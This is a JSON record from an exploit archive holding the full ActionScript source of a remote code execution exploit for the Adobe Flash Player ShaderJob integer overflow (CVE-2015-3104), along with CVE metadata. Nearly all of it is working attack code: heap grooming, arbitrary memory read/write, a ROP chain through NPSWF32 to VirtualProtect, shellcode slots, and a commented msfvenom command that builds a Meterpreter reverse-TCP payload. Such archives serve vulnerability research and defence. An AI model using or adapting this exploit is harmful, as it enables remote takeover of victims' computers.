{"exploit":{"id":"EDB-50290","name":"Adobe Flash Player - 'ShaderJob' Integer Overflow / Remote Code Execution (RCE)","description":"Adobe Flash Player - 'ShaderJob' Integer Overflow / Remote Code Execution (RCE)","cves":["CVE-2015-3104"],"author":"ryujin","published":"2017-01-14","platform":"multiple","type":"remote","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/50290","path":"exploits/multiple/remote/50290.as","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-50290.as","vulnerabilities":[{"id":"CVE-2015-3104","state":"PUBLISHED","title":null,"titleSource":null,"description":"Integer overflow in Adobe Flash Player before 13.0.0.292 and 14.x through 18.x before 18.0.0.160 on Windows and OS X and before 11.2.202.466 on Linux, Adobe AIR before 18.0.0.144 on Windows and before 18.0.0.143 on OS X and Android, Adobe AIR SDK before 18.0.0.144 on Windows and before 18.0.0.143 on OS X, and Adobe AIR SDK & Compiler before 18.0.0.144 on Windows and before 18.0.0.143 on OS X allows attackers to execute arbitrary code via unspecified vectors.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2015-3104","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2015-3104"},"updatedAt":"2024-08-06T05:39:31.042Z","retrievedAt":"2026-11-27T10:11:13.323Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-50290.png?v=2","url":"https://exploitbin.com/exploits/EDB-50290","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-50290/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-50290/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// Exploit Title: Adobe Flash Player - Integer Overflow\n// Exploit Author: Matteo Memelli (ryujin@offensive-security)\n// Date: 14/01/2017\n// Original PoC: https://bugs.chromium.org/p/project-zero/issues/detail?id=323&can=1&q=Shader\n// CVE: CVE-2015-3104\n// Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3104\n\npackage\n{\n  import flash.display.*;\n  import flash.utils.ByteArray;\n  import flash.events.Event;\n  import flash.events.MouseEvent;\n  import flash.text.*\n  import mx.utils.Base64Decoder;\n\n  public class ShaderInputOverflow extends Sprite\n  {\n  \tpublic var bb:ByteArray = null;\n\tpublic var allocate:Array;\n\tpublic var MAX_ARRAY:uint = 81920;\n\tpublic var text:TextField = new TextField();\n\tpublic var gText:String = \"\";\n\tpublic var corrupted:uint = 0;\n\tpublic var corrupted_ba_address:uint = 0;\n\tpublic var corrupted_ba_pos:uint = 0;\n\tpublic var next_ba_address:uint = 0;\n\tpublic var NPSWF32Base:uint = 0;\n\n    public function ShaderInputOverflow():void\n    {\n\t\tif (stage) drawText();\n\t\telse addEventListener(Event.ADDED_TO_STAGE, drawText);\n\t\tdrawText();\n\n\t\tvar i:uint;\n\t\tallocate = new Array();\n\n\t\tfor (i = 0; i < MAX_ARRAY; i++) {\n\t\t  bb = new ByteArray();\n\t\t  bb.writeByte(0x57);\n\t\t  bb.writeByte(0x30);\n\t\t  bb.writeByte(0x30);\n\t\t  bb.writeByte(0x54);\n\t\t  bb.writeByte(0x57);\n\t\t  bb.writeByte(0x30);\n\t\t  bb.writeByte(0x30);\n\t\t  bb.writeByte(0x54);\n\t\t  bb.writeByte(0x57);\n\t\t  bb.writeByte(0x30);\n\t\t  bb.writeByte(0x30);\n\t\t  bb.writeByte(0x54);\n\t\t  bb.writeByte(0x57);\n\t\t  bb.writeByte(0x30);\n\t\t  bb.writeByte(0x30);\n\t\t  bb.writeByte(0x54);\n\t\t  allocate.push(bb);\n\t\t}\n\n\t\t// We create \"holes\" of size 0x18 bytes on the heap\n\t\ti = MAX_ARRAY/2;\n\t\twhile (i<MAX_ARRAY)\n\t\t{\n\t\tif (i % 2 != 0) {\n\t\t\tallocate[i] = null;\n\t\t}\n\t\ti++;\n\t\t}\n\n\t\tvar ba:ByteArray = new ByteArray();\n\t\tba.writeByte(0xa1);  // Define parameter?\n\t\tba.writeByte(0x02);  // Output.\n\t\tba.writeByte(0x04);  // Type: 4 floats.\n\t\tba.writeByte(0x00);  // 16-bit field, ??\n\t\tba.writeByte(0x01);\n\t\tba.writeByte(0xff);  // Mask.\n\t\tba.writeByte(0x41);\n\t\tba.writeByte(0x00);  // Param name: 'A'\n\t\tba.writeByte(0xa3);  // Add texture?\n\t\tba.writeByte(0x00);  // Index?\n\t\tba.writeByte(0x40);  // 64 channels.\n\t\tba.writeByte(0x42);\n\t\tba.writeByte(0x42);\n\t\tba.writeByte(0x42);\n\t\tba.writeByte(0x42);\n\t\tba.writeByte(0x00);  // Texture name: 'BBBB'\n\t\tba.position = 0;\n\t\tvar baOut:ByteArray = new ByteArray();\n\t\tvar baIn:ByteArray = new ByteArray();\n\n\t\t// Overwrite ByteArray::Buffer Object capacity field with 0xffffffff\n\t\t// and the pointer to the data to 0x16000000\n\n\t\tbaIn.writeUnsignedInt(0x6230306e);\n\t\tbaIn.writeUnsignedInt(0x6230306e);\n\t\tbaIn.writeUnsignedInt(0x41414141); // ptr\n\t\tbaIn.writeUnsignedInt(0x41414141); // 0x1\n\n\t\t// Offset can be 0x10 bytes\n\t\tbaIn.writeUnsignedInt(0x16000000); // ptr to data\n\t\tbaIn.writeUnsignedInt(0xffffffff); // capacity\n\t\tbaIn.writeUnsignedInt(0x16000000); // length / ptr to data\n\t\t// Another time in case the offset is 0x8 bytes\n\t\tbaIn.writeUnsignedInt(0xffffffff); // capacity\n\t\tbaIn.writeUnsignedInt(0xffffffff); // length\n\n\t\tvar job:ShaderJob = new ShaderJob();\n\t\tvar shader:Shader = new Shader();\n\t\tshader.byteCode = ba;\n\t\tshader.data.BBBB.width = 8192;\n\t\tshader.data.BBBB.height = 8192;\n\t\tshader.data.BBBB.input = baIn;\n\t\tjob.target = baOut;\n\t\tjob.width = 1;\n\t\tjob.height = 1;\n\t\tjob.shader = shader;\n\n\t\t// We need to catch the Error thrown by Flash to continue the execution\n\t\t// job.start triggers the copy that causes the heap overflow\n\t\ttry\n\t\t{\n\t\t\tjob.start(true);\n\t\t}\n\t\tcatch (err:Error)\n\t\t{\n\t\t\ttrace(\"w00t\");\n\t\t}\n\t\tvar s:spray = new spray();\n\t\tcorrupted = findCorrupted();\n\t\tallocate[corrupted].position = 0;\n\t\tgText += \"The corrupted ByteArray object is at index \" + corrupted.toString() + \" of the 'allocate' array\\n\";\n\t\tgText += \"The length of the corrupted ByteArray is \" + (allocate[corrupted].length).toString(16) + \"\\n\";\n\t\tfindCorruptedAddress();\n\t\tgText += \"Corrupted ByteArray::Buffer object address 0x\" + (corrupted_ba_address).toString(16) + \"\\n\";\n\t\tvar NPSWF32Ptr:uint = readDword((corrupted_ba_address+0x18*2));\n\t\tgText += \"NPSWF32Ptr: 0x\" + NPSWF32Ptr.toString(16) + \"\\n\";\n\t\tNPSWF32Base = findNPSWF32_Base(NPSWF32Ptr);\n\t\tgText += \"NPSWF32Base Address: 0x\" + NPSWF32Base.toString(16) + \"\\n\";\n\n\t\t// Look for the corrupted ByteArray::Buffer object address\n\t\tvar tosearch:uint = corrupted_ba_address;\n\t\tgText += \"Ptr to search: 0x\" + tosearch.toString(16) + \"\\n\";\n\t\tvar VTableObj:uint = findVTable(tosearch);\n\t\tgText += \"VTable Address: 0x\" + VTableObj.toString(16) + \"\\n\";\n\t\tupdateText();\n\n\t\tvar methodEnvVtable:uint = readDword(VTableObj+0xd4);\n\t\tgText += \"methodEnvVtable Address: 0x\" + methodEnvVtable.toString(16) + \"\\n\";\n\t\tupdateText();\n\n\t\t// Crash on the Jitted pointer dereference that leads to code execution\n\t\t//writeDword((VTableObj+0xd4), 0x42424242);\n\n\t\t// Control the Jitted pointer dereference that leads to code execution\n\t\twriteROPChain(NPSWF32Base);\n\n\t\t// Decode and Write the files for the privilege escalation to memory\n\t\tvar dll:ByteArray = new ByteArray();\n\t\tvar met:ByteArray = new ByteArray();\n\t\tvar dec1:Base64Decoder = new Base64Decoder();\n\t\tvar dec2:Base64Decoder = new Base64Decoder();\n\t\t// sandbox exploit code\n\t\tdec1.decode(\"YOUR BASE64 PRIVESC SANDBOX ESCAPE DLL CODE HERE\");\n\t\tdll = dec1.toByteArray();\n\n\t\t// msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LPORT=4444 LHOST=YOURIP -e generic/none -f exe > pwnd.exe\n\t\t// base64 pwnd.exe | tr --delete '\\n'\n\t\t// Meterpreter executable or any other payload…\n \t\tdec2.decode(\"YOUR BASE64 METERPRETER CODE HERE\");\n\t\tmet = dec2.toByteArray();\n\t\twriteBytes(0x1a100000, met);\n\t\twriteBytes(0x1a200000, dll);\n\n\t\twriteDword((VTableObj+0xd4), 0x1a000000);\n\t\tgText += allocate[corrupted].toString();\n    }\n\n\tprivate function hexStringToByteArray(hexstring:String) : ByteArray\n    {\n\t\tvar bindata:ByteArray = new ByteArray();\n\t\tbindata.endian = \"littleEndian\";\n\t\tvar hexstr:String = null;\n\t\tvar count:uint = 0;\n\t\twhile(count < hexstring.length)\n\t\t{\n\t\t\thexstr = hexstring.charAt(count) + (hexstring.charAt(count + 1));\n\t\t\tbindata.writeByte(parseInt(hexstr, 16));\n\t\t\tcount += 2;\n\t\t}\n\t\treturn bindata;\n\t}\n\n\tprivate function writeROPChain(NPSWF32Base:uint):void\n\t{\n\n\t\tvar ROPaddr:uint = 0x1a00CBE2;\n\n\t\twriteDword(0x1a000004, (NPSWF32Base+0x00418a60)); \t\t\t\t// PIVOT XCHG ECX,ESP...\n\n\t\t// Save stack information to restore the execution flow after shellcode\n\t\twriteDword(0x1a000000, (NPSWF32Base+0x00007324)); \t\t\t\t// POP EAX # RETN\n\t\twriteDword(ROPaddr, 0x1a000400); ROPaddr +=4 ;\t\t\t\t\t// SAVE ECX VALUE HERE\n\t\twriteDword(ROPaddr, (NPSWF32Base+0x0000268e)); ROPaddr +=4 ;\t// MOV [EAX],ECX # RETN\n\t\twriteDword(ROPaddr, (NPSWF32Base+0x00007324)); ROPaddr +=4 ;\t// POP EAX # RETN\n\t\twriteDword(ROPaddr, 0x1a000404); ROPaddr +=4 ;\t\t\t\t\t// SAVE EBX VALUE HERE\n\t\twriteDword(ROPaddr, (NPSWF32Base+0x000064c54)); ROPaddr +=4 ;\t// MOV [EAX],EBX # POP EBX # POP ECX; RETN\n\t\twriteDword(ROPaddr, 0x41414141); ROPaddr +=4 ;\t\t\t\t\t// JUNK\n\t\twriteDword(ROPaddr, 0x42424242); ROPaddr +=4 ;\t\t\t\t\t// JUNK\n\n\t\t// Mona Chain\n\t\twriteDword(ROPaddr, (NPSWF32Base+0x0039cbea)); ROPaddr +=4 ;\t// POP EBP # RETN\n\t\twriteDword(ROPaddr, (NPSWF32Base+0x0039cbea)); ROPaddr +=4 ;\t// POP EBP # RETN\n\t\twriteDword(ROPaddr, (NPSWF32Base+0x0077c1eb)); ROPaddr +=4 ;\t// POP EBX # RETN\n\t\twriteDword(ROPaddr, 0x00000201); ROPaddr +=4 ;\n\t\twriteDword(ROPaddr, (NPSWF32Base+0x007fff57)); ROPaddr +=4 ;\t// POP EDX # RETN\n\t\twriteDword(ROPaddr, 0x00000040); ROPaddr +=4 ;\n\t\twriteDword(ROPaddr, (NPSWF32Base+0x00b433a9)); ROPaddr +=4 ;\t// POP ECX # RETN\n\t\twriteDword(ROPaddr, (NPSWF32Base+0x00f7e6f5)); ROPaddr +=4 ;\t// &Writable location\n\t\twriteDword(ROPaddr, (NPSWF32Base+0x00b1ad8f)); ROPaddr +=4 ;\t// POP EDI # RETN\n\t\twriteDword(ROPaddr, (NPSWF32Base+0x00273302)); ROPaddr +=4 ;\t// ROP NOP # RETN\n\t\twriteDword(ROPaddr, (NPSWF32Base+0x006cb604)); ROPaddr +=4 ;\t// POP ESI # RETN\n\t\twriteDword(ROPaddr, (NPSWF32Base+0x0000d98f)); ROPaddr +=4 ;\t// JMP [EAX]\n\t\twriteDword(ROPaddr, (NPSWF32Base+0x002742d3)); ROPaddr +=4 ;\t// POP EAX # RETN\n\t\twriteDword(ROPaddr, (NPSWF32Base+0x00b7d364)); ROPaddr +=4 ;\t// ptr to VirtualProtect IAT\n\t\twriteDword(ROPaddr, (NPSWF32Base+0x00a4a349)); ROPaddr +=4 ;\t// PUSHAD # RETN\n\t\twriteDword(ROPaddr, (NPSWF32Base+0x0015fce4)); ROPaddr +=4 ;\t// PTR TO JMP ESP\n\n\t\t// NOPsled\n\t\twriteDword(ROPaddr, 0x90909090); ROPaddr +=4 ;\t\t\t\t\t// nopsled\n\t\twriteDword(ROPaddr, 0x90909090); ROPaddr +=4 ;\t\t\t\t\t// nopsled\n\t\twriteDword(ROPaddr, 0x90909090); ROPaddr +=4 ;\t\t\t\t\t// shellcode\n\n\t\tvar Shellcode:String = new String();\n\n\t\tShellcode += \"..... YOUR SANDBOX EVASION SHELLCODE HERE ... \";\n\t\twriteBytes(ROPaddr, hexStringToByteArray(Shellcode)); ROPaddr += Shellcode.length/2;\n\n\t\t// Restore component\n\t\t// 1a00cc56 8b0d0004001a    mov     ecx,dword ptr ds:[1A000400h]\n\t\t// 1a00cc5c 8b1d0404001a    mov     ebx,dword ptr ds:[1A000404h]\n\t\t// 1a00cc62 28d9            sub     cl,bl\n\t\t// 1a00cc64 87cc            xchg    ecx,esp\n\t\t// 1a00cc66 8bec            mov     ebp,esp\n\t\t// 1a00cc68 83c52c          add     ebp,2Ch\n\t\t// 1a00cc6b 31c0            xor     eax,eax\n\t\t// 1a00cc6d c3              ret\n\t\tvar Restore:String = new String();\n\t\tRestore = \"8b0d0004001a8b1d0404001a28d987cc8bec83c52c31c0c3\";\n\t\twriteBytes(ROPaddr, hexStringToByteArray(Restore)); ROPaddr += Restore.length/2;\n\t}\n\n\tprivate function findVTable(startAddress:uint):uint\n\t{\n\t\t// Find the VTable Object Address within the ByteArrayObject\n\t\tallocate[corrupted].endian = \"littleEndian\";\n\t\tvar addr:uint = 0;\n\t\tvar base:uint = 0x16000000;\n\t\tvar bstart:uint = base;\n\t\tvar count:uint = 0;\n\t\twhile (true)\n\t\t{\n\t\t\tif (readDword(base) == startAddress)\n\t\t\t{\n\t\t\t\taddr = bstart+count;\n\t\t\t\t// ByteArray::Buffer pointer is at offset +0x40\n\t\t\t\taddr = addr - 0x40;\n\t\t\t\t// VTable Object pointer is at +0x8\n\t\t\t\treturn readDword(addr+0x8);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tbase  += 4;\n\t\t\t\tcount += 4;\n\t\t\t}\n\t\t}\n\t\treturn addr;\n\t}\n\n\tprivate function findNPSWF32_Base(NPSWF32Ptr:uint):uint\n\t{\n\t\t// Find a DLL base address by appling the scan down technique\n\t\tvar addr:uint = NPSWF32Ptr & 0xfffff000;\n\t\twhile (true)\n\t\t{\n\t\t\tif (readDword(addr) == 0x00905a4d)\n\t\t\t{\n\t\t\t\treturn addr;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\taddr = addr - 0x1000;\n\t\t\t}\n\t\t}\n\t\treturn addr;\n\t}\n\n\tprivate function readDword(pAddress:uint):uint\n\t{\n\t\t// Read a DWORD from an address\n\t\t// by changing the ptr to array of bytes\n\t\tvar tmpIndex:uint = 0;\n\t\tvar res:uint = 0;\n\n\t\t// Change ptr to array of bytes\n\t\ttmpIndex = (corrupted_ba_address + 0x8) - 0x16000000;\n\t\tallocate[corrupted].position = tmpIndex;\n\t\tallocate[corrupted].writeUnsignedInt(pAddress);\n\t\tallocate[corrupted].position = 0;\n\t\t// Read a DWORD from the new address\n\t\tres = allocate[corrupted].readUnsignedInt();\n\t\t// Reset ptr to array of bytes to 0x16000000\n\t\ttmpIndex = (corrupted_ba_address + 0x8) - pAddress;\n\t\tallocate[corrupted].position = tmpIndex;\n\t\tallocate[corrupted].writeUnsignedInt(0x16000000);\n\t\treturn res;\n\t}\n\n\tprivate function writeDword(pAddress:uint, value:uint):void\n\t{\n\t\t// write a DWORD to an address\n\t\t// by changing the ptr to array of bytes\n\t\tvar tmpIndex:uint = 0;\n\t\t// Change ptr to array of bytes\n\t\ttmpIndex = (corrupted_ba_address + 0x8) - 0x16000000;\n\t\tallocate[corrupted].position = tmpIndex;\n\t\tallocate[corrupted].writeUnsignedInt(pAddress);\n\t\tallocate[corrupted].position = 0;\n\t\t// Read a DWORD from the new address\n\t\tallocate[corrupted].writeUnsignedInt(value);\n\t\t// Reset ptr to array of bytes to 0x16000000\n\t\ttmpIndex = (corrupted_ba_address + 0x8) - pAddress;\n\t\tallocate[corrupted].position = tmpIndex;\n\t\tallocate[corrupted].writeUnsignedInt(0x16000000);\n\t}\n\n\tprivate function writeBytes(pAddress:uint, data:ByteArray):void\n\t{\n\t\t// write a ByteArray to an address\n\t\t// by changing the ptr to array of bytes\n\t\tvar tmpIndex:uint = 0;\n\t\t// Change ptr to array of bytes\n\t\ttmpIndex = (corrupted_ba_address + 0x8) - 0x16000000;\n\t\tallocate[corrupted].position = tmpIndex;\n\t\tallocate[corrupted].writeUnsignedInt(pAddress);\n\t\tallocate[corrupted].position = 0;\n\t\t// Read a ByteArray tp the new address\n\t\tallocate[corrupted].writeBytes(data, 0, 0);\n\t\t// Reset ptr to array of bytes to 0x16000000\n\t\ttmpIndex = (corrupted_ba_address + 0x8) - pAddress;\n\t\tallocate[corrupted].position = tmpIndex;\n\t\tallocate[corrupted].writeUnsignedInt(0x16000000);\n\t}\n\n  private function findCorruptedAddress():void\n  {\n      allocate[corrupted].position = 0;\n      allocate[corrupted].endian = \"littleEndian\";\n      while (true)\n      {\n          if(allocate[corrupted].readUnsignedInt() == 0x6230306e)\n          {\n              if(allocate[corrupted].readUnsignedInt() == 0x6230306e)\n              {\n                  // Corrupted Object starts just after the second 0x6230306e tag in case the offset is 0x10\n                  // otherwise after the two 0x41414141 dwords in case the offset is 0x8\n\n                  // OFFSET 0x10 LENGTH = 0x16000000\n                  if (allocate[corrupted].length == 0x16000000)\n                      corrupted_ba_pos = allocate[corrupted].position;\n                  // OFFSET 0x8  LENGTH = 0xffffffff\n                  else\n                      corrupted_ba_pos = allocate[corrupted].position + 0x8;\n                  // We calculate the address of the corrupted object by using the index\n                  // and the base address that we set through the heap overflow.\n                  corrupted_ba_address = 0x16000000 + corrupted_ba_pos;\n                  // Since every in-use ByteArray object is alternated with a free one\n                  // (we created the holes), the next in-use ByteArray is at 0x18*2 bytes\n                  // from the corrupted one.\n                  next_ba_address = corrupted_ba_address + 0x18*2;\n                  return;\n              }\n          }\n      }\n      return;\n  }\n\n\tprivate function findCorrupted():uint\n\t{\n\t\t// Find the corrupted ByteArray::Buffer object.\n\t\t// We can find it by checking for a size different from the\n\t\t// original 0x10 bytes, since the ByteArray data is 16 bytes\n\t\t// for all the objects we allocated, except the corrupted one.\n\t\tvar i:uint = MAX_ARRAY/2;\n\t\twhile (i<MAX_ARRAY)\n\t\t{\n\t\t\tif (i % 2 == 0)\n\t\t\t{\n\t\t\t\tif(allocate[i].length != 0x10)\n\t\t\t\t{\n\t\t\t\t\treturn i;\n\t\t\t\t}\n\t\t\t}\n\t\t\ti++;\n\t\t}\n\t\treturn 0;\n\t}\n\n\tpublic function updateText(e:Event = null):void\n\t{\n\t\ttext.text = gText;\n\t}\n\n\tpublic function drawText(e:Event = null):void\n\t{\n\t\tremoveEventListener(Event.ADDED_TO_STAGE, drawText);\n\n\t\ttext.text = gText;\n\t\ttext.width = 300;\n\t\ttext.height = 100;\n\t\ttext.x = 10;\n\t\ttext.y = 10;\n\t\ttext.multiline = true;\n\t\ttext.wordWrap = true;\n\t\ttext.background = true;\n\t\ttext.border = true;\n\t\tvar format:TextFormat = new TextFormat();\n\t\tformat.font = \"Verdana\";\n\t\tformat.color = 0xff0000;\n\t\tformat.size = 8;\n\t\ttext.defaultTextFormat = format;\n\t\taddChild(text);\n\t\ttext.addEventListener(MouseEvent.MOUSE_DOWN, mouseDownScroll);\n\t}\n\n\tpublic function mouseDownScroll(event:MouseEvent):void\n\t{\n\t\ttext.scrollV++;\n\t}\n\n  }\n}\n\nimport flash.display.MovieClip;\nimport flash.utils.*;\nclass spray extends MovieClip\n{\n\tpublic var allocate:Array;\n\n\tpublic function spray()\n\t{\n\t\tHeapSpray();\n\t}\n\n\tpublic function HeapSpray() : void\n\t{\n\t\tvar chunk_size:uint = 1048576;      // 0x100000\n\t\tvar block_size:uint = 65536;        // 0x10000\n\t\tvar heapblocklen:uint = 0;\n\t\tvar spraychunks:uint = 0;\n\t\tvar heapblock1:ByteArray;\n\t\tvar heapblock2:ByteArray;\n\t\tvar heapblock3:ByteArray;\n\n\t\theapblock1 = new ByteArray();\n\t\theapblock1.endian = Endian.LITTLE_ENDIAN;\n\n\t\theapblock1.writeInt(0x41424344);\n\t\theapblocklen = heapblocklen + 4;\n\t\twhile(heapblocklen < block_size)\n\t\t{\n\t\t\theapblock1.writeByte(0x0d);     // padding to 64K\n\t\t\theapblocklen = heapblocklen + 1;\n\t\t}\n\n\t\theapblock2 = new ByteArray();\n\n\t\twhile(heapblock2.length < chunk_size)\n\t\t{\n\t\t\theapblock2.writeBytes(heapblock1, 0, heapblock1.length);\n\t\t}\n\n\t\t\tallocate = new Array();\n\n\t\t// 600MB spray\n\t\twhile(spraychunks < 50)\n\t\t{\n\t\t\theapblock3 = new ByteArray();\n\t\t\theapblock3.writeBytes(heapblock2, 0, heapblock2.length);\n\t\t\tallocate.push(heapblock3);\n\t\t\tspraychunks = spraychunks + 1;\n\t\t}\n\t}\n}","sha256":"122ae53650334b5fb0b348c331ad2600720c472bb5058816813fafa31c53a4f3","bytes":15954,"fetchedAt":"2026-11-27T10:11:11.896Z","encoding":"utf-8 (display only; download retains original bytes)"}